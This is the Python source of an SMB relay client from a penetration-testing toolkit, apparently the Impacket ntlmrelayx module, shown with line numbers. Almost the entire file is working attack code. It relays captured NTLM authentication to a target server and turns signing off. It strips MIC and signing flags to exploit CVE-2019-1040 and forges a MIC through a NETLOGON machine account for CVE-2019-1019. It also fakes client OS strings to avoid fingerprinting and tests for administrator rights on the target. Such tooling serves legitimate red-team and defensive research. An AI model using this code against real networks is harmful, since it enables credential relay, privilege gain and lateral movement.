Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# SMB Relay Protocol Client 

8# 

9# Author: 

10# Alberto Solino (@agsolino) 

11# 

12# Description: 

13# This is the SMB client which initiates the connection to an 

14# SMB server and relays the credentials to this server. 

15 

16import logging 

17import os 

18 

19from binascii import unhexlify, hexlify 

20from struct import unpack, pack 

21from socket import error as socketerror 

22from impacket.dcerpc.v5.rpcrt import DCERPCException 

23from impacket.dcerpc.v5 import nrpc 

24from impacket.dcerpc.v5 import transport 

25from impacket.dcerpc.v5.ndr import NULL 

26from impacket import LOG 

27from impacket.examples.ntlmrelayx.clients import ProtocolClient 

28from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER 

29from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE 

30from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \ 

31 generateEncryptedSessionKey, hmac_md5 

32from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \ 

33 SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \ 

34 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters 

35from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \ 

36 SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \ 

37 SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \ 

38 SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response 

39from impacket.smbconnection import SMBConnection, SMB_DIALECT 

40from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION 

41from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech 

42from impacket.dcerpc.v5.transport import SMBTransport 

43from impacket.dcerpc.v5 import scmr 

44 

45PROTOCOL_CLIENT_CLASS = "SMBRelayClient" 

46 

47class MYSMB(SMB): 

48 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): 

49 self.extendedSecurity = extendedSecurity 

50 SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket) 

51 

52 def neg_session(self, negPacket=None): 

53 return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket) 

54 

55class MYSMB3(SMB3): 

56 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None): 

57 self.extendedSecurity = extendedSecurity 

58 SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect) 

59 

60 def negotiateSession(self, preferredDialect = None, negSessionResponse = None): 

61 # We DON'T want to sign 

62 self._Connection['ClientSecurityMode'] = 0 

63 

64 if self.RequireMessageSigning is True: 

65 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') 

66 return 

67 

68 self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION 

69 currentDialect = SMB2_DIALECT_WILDCARD 

70 

71 # Do we have a negSessionPacket already? 

72 if negSessionResponse is not None: 

73 # Yes, let's store the dialect answered back 

74 negResp = SMB2Negotiate_Response(negSessionResponse['Data']) 

75 currentDialect = negResp['DialectRevision'] 

76 

77 if currentDialect == SMB2_DIALECT_WILDCARD: 

78 # Still don't know the chosen dialect, let's send our options 

79 

80 packet = self.SMB_PACKET() 

81 packet['Command'] = SMB2_NEGOTIATE 

82 negSession = SMB2Negotiate() 

83 

84 negSession['SecurityMode'] = self._Connection['ClientSecurityMode'] 

85 negSession['Capabilities'] = self._Connection['Capabilities'] 

86 negSession['ClientGuid'] = self.ClientGuid 

87 if preferredDialect is not None: 

88 negSession['Dialects'] = [preferredDialect] 

89 else: 

90 negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30] 

91 negSession['DialectCount'] = len(negSession['Dialects']) 

92 packet['Data'] = negSession 

93 

94 packetID = self.sendSMB(packet) 

95 ans = self.recvSMB(packetID) 

96 if ans.isValidAnswer(STATUS_SUCCESS): 

97 negResp = SMB2Negotiate_Response(ans['Data']) 

98 

99 self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize']) 

100 self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize']) 

101 self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize']) 

102 self._Connection['ServerGuid'] = negResp['ServerGuid'] 

103 self._Connection['GSSNegotiateToken'] = negResp['Buffer'] 

104 self._Connection['Dialect'] = negResp['DialectRevision'] 

105 if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED: 

106 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') 

107 return 

108 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: 

109 self._Connection['SupportsFileLeasing'] = True 

110 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU: 

111 self._Connection['SupportsMultiCredit'] = True 

112 

113 if self._Connection['Dialect'] == SMB2_DIALECT_30: 

114 # Switching to the right packet format 

115 self.SMB_PACKET = SMB3Packet 

116 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING: 

117 self._Connection['SupportsDirectoryLeasing'] = True 

118 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL: 

119 self._Connection['SupportsMultiChannel'] = True 

120 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES: 

121 self._Connection['SupportsPersistentHandles'] = True 

122 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION: 

123 self._Connection['SupportsEncryption'] = True 

124 

125 self._Connection['ServerCapabilities'] = negResp['Capabilities'] 

126 self._Connection['ServerSecurityMode'] = negResp['SecurityMode'] 

127 

128class SMBRelayClient(ProtocolClient): 

129 PLUGIN_NAME = "SMB" 

130 def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ): 

131 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

132 self.extendedSecurity = extendedSecurity 

133 

134 self.machineAccount = None 

135 self.machineHashes = None 

136 self.sessionData = {} 

137 

138 self.negotiateMessage = None 

139 self.challengeMessage = None 

140 self.serverChallenge = None 

141 

142 self.keepAliveHits = 1 

143 

144 def netlogonSessionKey(self, authenticateMessageBlob): 

145 # Here we will use netlogon to get the signing session key 

146 logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp) 

147 

148 #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

149 authenticateMessage = NTLMAuthChallengeResponse() 

150 authenticateMessage.fromString(authenticateMessageBlob) 

151 _, machineAccount = self.serverConfig.machineAccount.split('/') 

152 domainName = authenticateMessage['domain_name'].decode('utf-16le') 

153 

154 try: 

155 serverName = machineAccount[:len(machineAccount)-1] 

156 except: 

157 # We're in NTLMv1, not supported 

158 return STATUS_ACCESS_DENIED 

159 

160 stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp 

161 

162 rpctransport = transport.DCERPCTransportFactory(stringBinding) 

163 

164 if len(self.serverConfig.machineHashes) > 0: 

165 lmhash, nthash = self.serverConfig.machineHashes.split(':') 

166 else: 

167 lmhash = '' 

168 nthash = '' 

169 

170 if hasattr(rpctransport, 'set_credentials'): 

171 # This method exists only for selected protocol sequences. 

172 rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) 

173 

174 dce = rpctransport.get_dce_rpc() 

175 dce.connect() 

176 dce.bind(nrpc.MSRPC_UUID_NRPC) 

177 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678') 

178 

179 serverChallenge = resp['ServerChallenge'] 

180 

181 if self.serverConfig.machineHashes == '': 

182 ntHash = None 

183 else: 

184 ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1]) 

185 

186 sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) 

187 

188 ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) 

189 

190 nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', 

191 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', 

192 ppp, 0x600FFFFF) 

193 

194 clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) 

195 

196 # Now let's try to verify the security blob against the PDC 

197 

198 request = nrpc.NetrLogonSamLogonWithFlags() 

199 request['LogonServer'] = '\x00' 

200 request['ComputerName'] = serverName + '\x00' 

201 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 

202 

203 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 

204 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 

205 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName 

206 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0 

207 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[ 

208 'user_name'].decode('utf-16le') 

209 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' 

210 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge 

211 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm'] 

212 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman'] 

213 

214 authenticator = nrpc.NETLOGON_AUTHENTICATOR() 

215 authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) 

216 authenticator['Timestamp'] = 10 

217 

218 request['Authenticator'] = authenticator 

219 request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 

220 request['ReturnAuthenticator']['Timestamp'] = 0 

221 request['ExtraFlags'] = 0 

222 # request.dump() 

223 try: 

224 resp = dce.request(request) 

225 # resp.dump() 

226 except DCERPCException as e: 

227 if logging.getLogger().level == logging.DEBUG: 

228 import traceback 

229 traceback.print_exc() 

230 logging.error(str(e)) 

231 return e.get_error_code() 

232 

233 logging.info("%s\\%s successfully validated through NETLOGON" % ( 

234 domainName, authenticateMessage['user_name'].decode('utf-16le'))) 

235 

236 encryptedSessionKey = authenticateMessage['session_key'] 

237 if encryptedSessionKey != b'': 

238 signingKey = generateEncryptedSessionKey( 

239 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey) 

240 else: 

241 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] 

242 

243 logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8')) 

244 

245 return STATUS_SUCCESS, signingKey 

246 

247 def keepAlive(self): 

248 # SMB Keep Alive more or less every 5 minutes 

249 if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): 

250 # Time to send a packet 

251 # Just a tree connect / disconnect to avoid the session timeout 

252 tid = self.session.connectTree('IPC$') 

253 self.session.disconnectTree(tid) 

254 self.keepAliveHits = 1 

255 else: 

256 self.keepAliveHits +=1 

257 

258 def killConnection(self): 

259 if self.session is not None: 

260 self.session.close() 

261 self.session = None 

262 

263 def initConnection(self): 

264 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True) 

265 #,preferredDialect=SMB_DIALECT) 

266 if self.serverConfig.smb2support is True: 

267 data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' 

268 else: 

269 data = '\x02NT LM 0.12\x00' 

270 

271 if self.extendedSecurity is True: 

272 flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES 

273 else: 

274 flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES 

275 try: 

276 packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, 

277 flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, 

278 flags2=flags2, data=data) 

279 except Exception as e: 

280 if not self.serverConfig.smb2support: 

281 LOG.error('SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support') 

282 else: 

283 LOG.error('SMBClient error: Connection was reset') 

284 return False 

285 if packet[0:1] == b'\xfe': 

286 preferredDialect = None 

287 # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 

288 if self.serverConfig.remove_target: 

289 preferredDialect = SMB2_DIALECT_21 

290 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), 

291 negPacket=packet, preferredDialect=preferredDialect) 

292 else: 

293 # Answer is SMB packet, sticking to SMBv1 

294 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), 

295 negPacket=packet) 

296 

297 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, 

298 existingConnection=smbClient, manualNegotiate=True) 

299 

300 return True 

301 

302 def setUid(self,uid): 

303 self._uid = uid 

304 

305 def sendNegotiate(self, negotiateMessage): 

306 negoMessage = NTLMAuthNegotiate() 

307 negoMessage.fromString(negotiateMessage) 

308 # When exploiting CVE-2019-1040, remove flags 

309 if self.serverConfig.remove_mic: 

310 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

311 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 

312 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: 

313 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 

314 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: 

315 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH 

316 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: 

317 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION 

318 

319 negotiateMessage = negoMessage.getData() 

320 

321 challenge = NTLMAuthChallenge() 

322 if self.session.getDialect() == SMB_DIALECT: 

323 challenge.fromString(self.sendNegotiatev1(negotiateMessage)) 

324 else: 

325 challenge.fromString(self.sendNegotiatev2(negotiateMessage)) 

326 

327 self.negotiateMessage = negotiateMessage 

328 self.challengeMessage = challenge.getData() 

329 

330 # Store the Challenge in our session data dict. It will be used by the SMB Proxy 

331 self.sessionData['CHALLENGE_MESSAGE'] = challenge 

332 self.serverChallenge = challenge['challenge'] 

333 

334 return challenge 

335 

336 def sendNegotiatev2(self, negotiateMessage): 

337 v2client = self.session.getSMBServer() 

338 

339 sessionSetup = SMB2SessionSetup() 

340 sessionSetup['Flags'] = 0 

341 

342 sessionSetup['SecurityBufferLength'] = len(negotiateMessage) 

343 sessionSetup['Buffer'] = negotiateMessage 

344 

345 packet = v2client.SMB_PACKET() 

346 packet['Command'] = SMB2_SESSION_SETUP 

347 packet['Data'] = sessionSetup 

348 

349 packetID = v2client.sendSMB(packet) 

350 ans = v2client.recvSMB(packetID) 

351 if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): 

352 v2client._Session['SessionID'] = ans['SessionID'] 

353 sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) 

354 return sessionSetupResponse['Buffer'] 

355 

356 return False 

357 

358 def sendNegotiatev1(self, negotiateMessage): 

359 v1client = self.session.getSMBServer() 

360 

361 smb = NewSMBPacket() 

362 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 

363 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 

364 # Are we required to sign SMB? If so we do it, if not we skip it 

365 if v1client.is_signing_required(): 

366 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 

367 

368 # Just in case, clear the Unicode Flag 

369 flags2 = v1client.get_flags ()[1] 

370 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE)) 

371 

372 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 

373 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 

374 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 

375 

376 sessionSetup['Parameters']['MaxBufferSize'] = 65535 

377 sessionSetup['Parameters']['MaxMpxCount'] = 2 

378 sessionSetup['Parameters']['VcNumber'] = 1 

379 sessionSetup['Parameters']['SessionKey'] = 0 

380 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 

381 

382 # Let's build a NegTokenInit with the NTLMSSP 

383 # TODO: In the future we should be able to choose different providers 

384 

385 #blob = SPNEGO_NegTokenInit() 

386 

387 # NTLMSSP 

388 #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 

389 #blob['MechToken'] = negotiateMessage 

390 

391 #sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) 

392 sessionSetup['Parameters']['SecurityBlobLength'] = len(negotiateMessage) 

393 sessionSetup['Parameters'].getData() 

394 #sessionSetup['Data']['SecurityBlob'] = blob.getData() 

395 sessionSetup['Data']['SecurityBlob'] = negotiateMessage 

396 

397 # Fake Data here, don't want to get us fingerprinted 

398 sessionSetup['Data']['NativeOS'] = 'Unix' 

399 sessionSetup['Data']['NativeLanMan'] = 'Samba' 

400 

401 smb.addCommand(sessionSetup) 

402 v1client.sendSMB(smb) 

403 smb = v1client.recvSMB() 

404 

405 try: 

406 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 

407 except Exception: 

408 LOG.error("SessionSetup Error!") 

409 raise 

410 else: 

411 # We will need to use this uid field for all future requests/responses 

412 v1client.set_uid(smb['Uid']) 

413 

414 # Now we have to extract the blob to continue the auth process 

415 sessionResponse = SMBCommand(smb['Data'][0]) 

416 sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) 

417 sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) 

418 sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] 

419 sessionData.fromString(sessionResponse['Data']) 

420 #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) 

421 

422 #return respToken['ResponseToken'] 

423 return sessionData['SecurityBlob'] 

424 

425 def sendStandardSecurityAuth(self, sessionSetupData): 

426 v1client = self.session.getSMBServer() 

427 flags2 = v1client.get_flags()[1] 

428 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) 

429 if sessionSetupData['Account'] != '': 

430 smb = NewSMBPacket() 

431 smb['Flags1'] = 8 

432 

433 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 

434 sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() 

435 sessionSetup['Data'] = SMBSessionSetupAndX_Data() 

436 

437 sessionSetup['Parameters']['MaxBuffer'] = 65535 

438 sessionSetup['Parameters']['MaxMpxCount'] = 2 

439 sessionSetup['Parameters']['VCNumber'] = os.getpid() 

440 sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey'] 

441 sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd']) 

442 sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd']) 

443 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE 

444 

445 sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] 

446 sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] 

447 sessionSetup['Data']['Account'] = sessionSetupData['Account'] 

448 sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain'] 

449 sessionSetup['Data']['NativeOS'] = 'Unix' 

450 sessionSetup['Data']['NativeLanMan'] = 'Samba' 

451 

452 smb.addCommand(sessionSetup) 

453 

454 v1client.sendSMB(smb) 

455 smb = v1client.recvSMB() 

456 try: 

457 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 

458 except: 

459 return None, STATUS_LOGON_FAILURE 

460 else: 

461 v1client.set_uid(smb['Uid']) 

462 return smb, STATUS_SUCCESS 

463 else: 

464 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 

465 clientResponse = None 

466 errorCode = STATUS_ACCESS_DENIED 

467 

468 return clientResponse, errorCode 

469 

470 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

471 

472 # When exploiting CVE-2019-1040, remove flags 

473 if self.serverConfig.remove_mic: 

474 authMessage = NTLMAuthChallengeResponse() 

475 authMessage.fromString(authenticateMessageBlob) 

476 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

477 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 

478 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: 

479 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 

480 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: 

481 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH 

482 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: 

483 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION 

484 authMessage['MIC'] = b'' 

485 authMessage['MICLen'] = 0 

486 authMessage['Version'] = b'' 

487 authMessage['VersionLen'] = 0 

488 authenticateMessageBlob = authMessage.getData() 

489 

490 #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

491 # # We need to unwrap SPNEGO and get the NTLMSSP 

492 # respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) 

493 # authData = respToken['ResponseToken'] 

494 #else: 

495 authData = authenticateMessageBlob 

496 

497 signingKey = None 

498 if self.serverConfig.remove_target: 

499 # Trying to exploit CVE-2019-1019 

500 # Discovery and Implementation by @simakov_marina and @YaronZi 

501 # respToken2 = SPNEGO_NegTokenResp(authData) 

502 authenticateMessageBlob = authData 

503 

504 errorCode, signingKey = self.netlogonSessionKey(authData) 

505 

506 # Recalculate MIC 

507 res = NTLMAuthChallengeResponse() 

508 res.fromString(authenticateMessageBlob) 

509 

510 newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:] 

511 relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob) 

512 

513 respToken2 = SPNEGO_NegTokenResp() 

514 respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] 

515 authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] 

516 #authData = respToken2.getData() 

517 

518 if self.session.getDialect() == SMB_DIALECT: 

519 token, errorCode = self.sendAuthv1(authData, serverChallenge) 

520 else: 

521 token, errorCode = self.sendAuthv2(authData, serverChallenge) 

522 

523 if signingKey: 

524 logging.info("Enabling session signing") 

525 self.session._SMBConnection.set_session_key(signingKey) 

526 

527 return token, errorCode 

528 

529 def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): 

530 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

531 # We need to unwrap SPNEGO and get the NTLMSSP 

532 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) 

533 authData = respToken['ResponseToken'] 

534 else: 

535 authData = authenticateMessageBlob 

536 

537 v2client = self.session.getSMBServer() 

538 

539 sessionSetup = SMB2SessionSetup() 

540 sessionSetup['Flags'] = 0 

541 

542 packet = v2client.SMB_PACKET() 

543 packet['Command'] = SMB2_SESSION_SETUP 

544 packet['Data'] = sessionSetup 

545 

546 # Reusing the previous structure 

547 sessionSetup['SecurityBufferLength'] = len(authData) 

548 sessionSetup['Buffer'] = authData 

549 

550 packetID = v2client.sendSMB(packet) 

551 packet = v2client.recvSMB(packetID) 

552 

553 return packet, packet['Status'] 

554 

555 def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): 

556 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

557 # We need to unwrap SPNEGO and get the NTLMSSP 

558 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) 

559 authData = respToken['ResponseToken'] 

560 else: 

561 authData = authenticateMessageBlob 

562 

563 v1client = self.session.getSMBServer() 

564 

565 smb = NewSMBPacket() 

566 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 

567 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE 

568 # Are we required to sign SMB? If so we do it, if not we skip it 

569 if v1client.is_signing_required(): 

570 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 

571 smb['Uid'] = v1client.get_uid() 

572 

573 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 

574 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 

575 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 

576 

577 sessionSetup['Parameters']['MaxBufferSize'] = 65535 

578 sessionSetup['Parameters']['MaxMpxCount'] = 2 

579 sessionSetup['Parameters']['VcNumber'] = 1 

580 sessionSetup['Parameters']['SessionKey'] = 0 

581 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 

582 

583 # Fake Data here, don't want to get us fingerprinted 

584 sessionSetup['Data']['NativeOS'] = 'Unix' 

585 sessionSetup['Data']['NativeLanMan'] = 'Samba' 

586 

587 sessionSetup['Parameters']['SecurityBlobLength'] = len(authData) 

588 sessionSetup['Data']['SecurityBlob'] = authData 

589 smb.addCommand(sessionSetup) 

590 v1client.sendSMB(smb) 

591 

592 smb = v1client.recvSMB() 

593 

594 errorCode = smb['ErrorCode'] << 16 

595 errorCode += smb['_reserved'] << 8 

596 errorCode += smb['ErrorClass'] 

597 

598 return smb, errorCode 

599 

600 def getStandardSecurityChallenge(self): 

601 if self.session.getDialect() == SMB_DIALECT: 

602 return self.session.getSMBServer().get_encryption_key() 

603 else: 

604 return None 

605 

606 def isAdmin(self): 

607 rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session) 

608 dce = rpctransport.get_dce_rpc() 

609 try: 

610 dce.connect() 

611 except: 

612 pass 

613 else: 

614 dce.bind(scmr.MSRPC_UUID_SCMR) 

615 try: 

616 # 0xF003F - SC_MANAGER_ALL_ACCESS 

617 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx 

618 ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F) 

619 return "TRUE" 

620 except scmr.DCERPCException as e: 

621 pass 

622 return "FALSE"